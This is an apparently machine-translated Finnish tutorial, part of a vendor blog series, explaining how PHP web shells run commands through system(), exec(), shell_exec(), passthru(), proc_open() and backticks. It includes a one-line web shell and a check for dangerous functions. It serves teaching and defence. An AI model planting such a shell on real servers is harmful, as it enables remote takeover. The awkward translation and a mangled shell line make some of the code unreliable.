Dubitinsider

for your information

tämän sarjan osassa 1 tarkasteltiin, Mikä web shell on ja miksi hyökkääjä pyrkisi käyttämään sellaista. Osassa 2 Tämän sarjan, me tarkastelemme joitakin erityisiä esimerkkejä web kuoret kehitetty PHP ohjelmointikielellä.

Web-kuoria on olemassa lähes jokaiselle web-ohjelmointikielelle. Päätimme keskittyä PHP: hen, koska se on verkon käytetyin ohjelmointikieli.

PHP-verkkokuoret eivät tee muuta kuin käyttävät sisäänrakennettuja PHP-funktioita komentojen suorittamiseen. Seuraavassa on joitakin yleisimpiä toimintoja, joita käytetään shell-komentojen suorittamiseen PHP: ssä.

huomautus: tätä artikkelia varten muokkasimme isäntätiedostoamme ja osoitimme verkkotunnuksen www.example.com testipalvelimelle.

systeemi ()

system() funktio hyväksyy komennon parametriksi ja se tuottaa tuloksen.

seuraavassa esimerkissä Microsoft Windows-koneella ajetaan dir komento, jolla palautetaan hakemisto, jossa php-tiedosto suoritetaan.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

suoritetaan ls komento Linux-koneella saavuttaa samanlaisen tuloksen.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

muilla komennoilla on sama vaikutus.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec ()

exec() funktio hyväksyy komennon parametriksi, mutta ei tulosta. Jos toinen valinnainen parametri on määritetty, tulos palautetaan array. Muuten vain tuloksen viimeinen rivi näytetään, jos toistuu.

<?php// Executes but returns nothingexec("ls -la");?>-->

käyttämällä echoexec() funktio tulostaa vain komennon viimeisen rivin.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

Jos on annettu toinen parametri, tulos palautetaan arvona.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec ()

shell_exec() funktio on samankaltainen kuin exec(), kuitenkin se tuottaa koko tuloksen merkkijonona.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru ()

passthru() funktio suorittaa komennon ja palauttaa lähtötiedon raakamuodossa.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open ()

proc_open() funktio voi olla vaikeaselkoinen (yksityiskohtainen kuvaus funktiosta löytyy PHP: n dokumenteista). Käyttämällä proc_open() voimme luoda käsittelijän (prosessin), jota käytetään kommunikointiin skriptimme ja ohjelman välillä, jonka haluamme ajaa.

Backticks

yllättäen moni PHP: n kehittäjä ei ole tietoinen tästä, mutta PHP suorittaa backticks ( ` ) – ohjelman sisällön komentotulkkina.

Huomautus: backtick-merkkiä (`) ei tule sekoittaa yhden lainausmerkin (’) kanssa
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

yllä olevan perusteella seuraava on yksinkertaisimmillaan PHP: n Web shell.

<?php system($_GET);?>

se käyttää system () – toimintoa suorittaakseen komentoja, jotka kulkevat ” cmd ” HTTP request GET-parametrin kautta.

web shells image 2

olemme todenneet, että nämä funktiot (ja muutamat muut) voivat olla hyvin vaarallisia. Vielä vaarallisempaa on, että kaikki nämä sisäänrakennetut PHP-komennot ovat oletusarvoisesti käytössä, kun PHP on asennettu ja suurin osa järjestelmänvalvojista ei poista niitä käytöstä.

Jos et ole varma, ovatko ne käytössä järjestelmässäsi, seuraava palauttaa luettelon käytössä olevista vaarallisista toiminnoista.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

oletusasennuksessa kaikki edellä mainitut toiminnot ovat käytössä.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

Osa 1

An Introduction to Web Shells

Part 2

Web Shells 101 Using PHP

Part 3

pitää Web Shells Under Cover

osa 4

web shells in Action

part 5

Detection &Prevention

frequently asked questions

web shell is pieni sovellus, jota hyökkääjä käyttää www-palvelimellasi. He voivat sitten käyttää tätä sovellusta etäyhteyden palvelimeen ja suorittaa komentoja sitä. Web shell itsessään ei ole koskaan hyökkäys, se on jälkimainingeissa onnistuneen hyökkäyksen sivustoosi tai web-sovellus. Tämä tarkoittaa, että jos sinulla on web shell, sinulla on paljon vakavampi ongelma huolehtia.

Katso, miten web shell toimii käytännössä.

haittaohjelmat hakkerit käyttävät web-kuoria jo vaarantuneen palvelimen hallintaan. Ensinnäkin ne hyödyntävät haavoittuvuutta sivustossasi tai verkkosovelluksessasi, kuten SQL-injektio, koodin etätoteutus tai muut. Sitten, he ladata web shell web-palvelimelle. Tästä lähtien he voivat suorittaa mitä tahansa komentoja, joista he pitävät palvelimellasi.

Katso vaiheittainen esimerkki hyökkäyksestä, joka johtaa täydelliseen palvelimen vaarantumiseen.

web-kuoret voi havaita lokianalyysillä. Sinun ei kuitenkaan pitäisi keskittyä web-kuorien havaitsemiseen, vaan sinun pitäisi havaita haavoittuvuuksia, joiden avulla hyökkääjät voivat ottaa palvelimesi hallintaansa. Vaikka havaitsisit web-komentotulkin, se ei estä hyökkääjiä ottamasta uudelleen hallintaansa, jos haavoittuvuudet ovat edelleen olemassa. Jos haluat havaita web-haavoittuvuudet ja oppia poistamaan ne, käytä Acunetixiä.

Katso, mitä Acunetix Premium voi tehdä hyväksesi.

paras tapa suojautua verkkokuorilta on estää niiden käyttö omassa järjestelmässä. Voit tehdä sen kovettamalla palvelimesi-poistamalla kaikki ylimääräiset käyttöoikeudet, estämällä mahdollisesti vaaralliset toiminnot, rajoittamalla komentosarjan suoritusta lataushakemistoissa jne. Kuitenkin, se on parasta suojata palvelimen vaarantuminen ensinnäkin käyttämällä Acunetix säännöllisesti.

Lue lisää Web Shellin tunnistuksesta ja suojauksesta.

Hanki uusin sisältö web security
inboxiin joka viikko.

Jaa tämä viesti
tekijä
agathoklis Prodromou
Web systems administrator/Developer

Akis on työskennellyt IT-alalla yli 13 vuotta kehittäen taitojaan puolustuksellisesta näkökulmasta järjestelmän ylläpitäjänä ja web-kehittäjänä, mutta myös hyökkäävästä näkökulmasta penetraation testaajana. Hänellä on erilaisia ammattisertifikaatteja liittyen eettiseen hakkerointiin, digitaaliseen rikostekniseen tutkimukseen ja tapahtumavastaukseen.

Vastaa

Sähköpostiosoitettasi ei julkaista.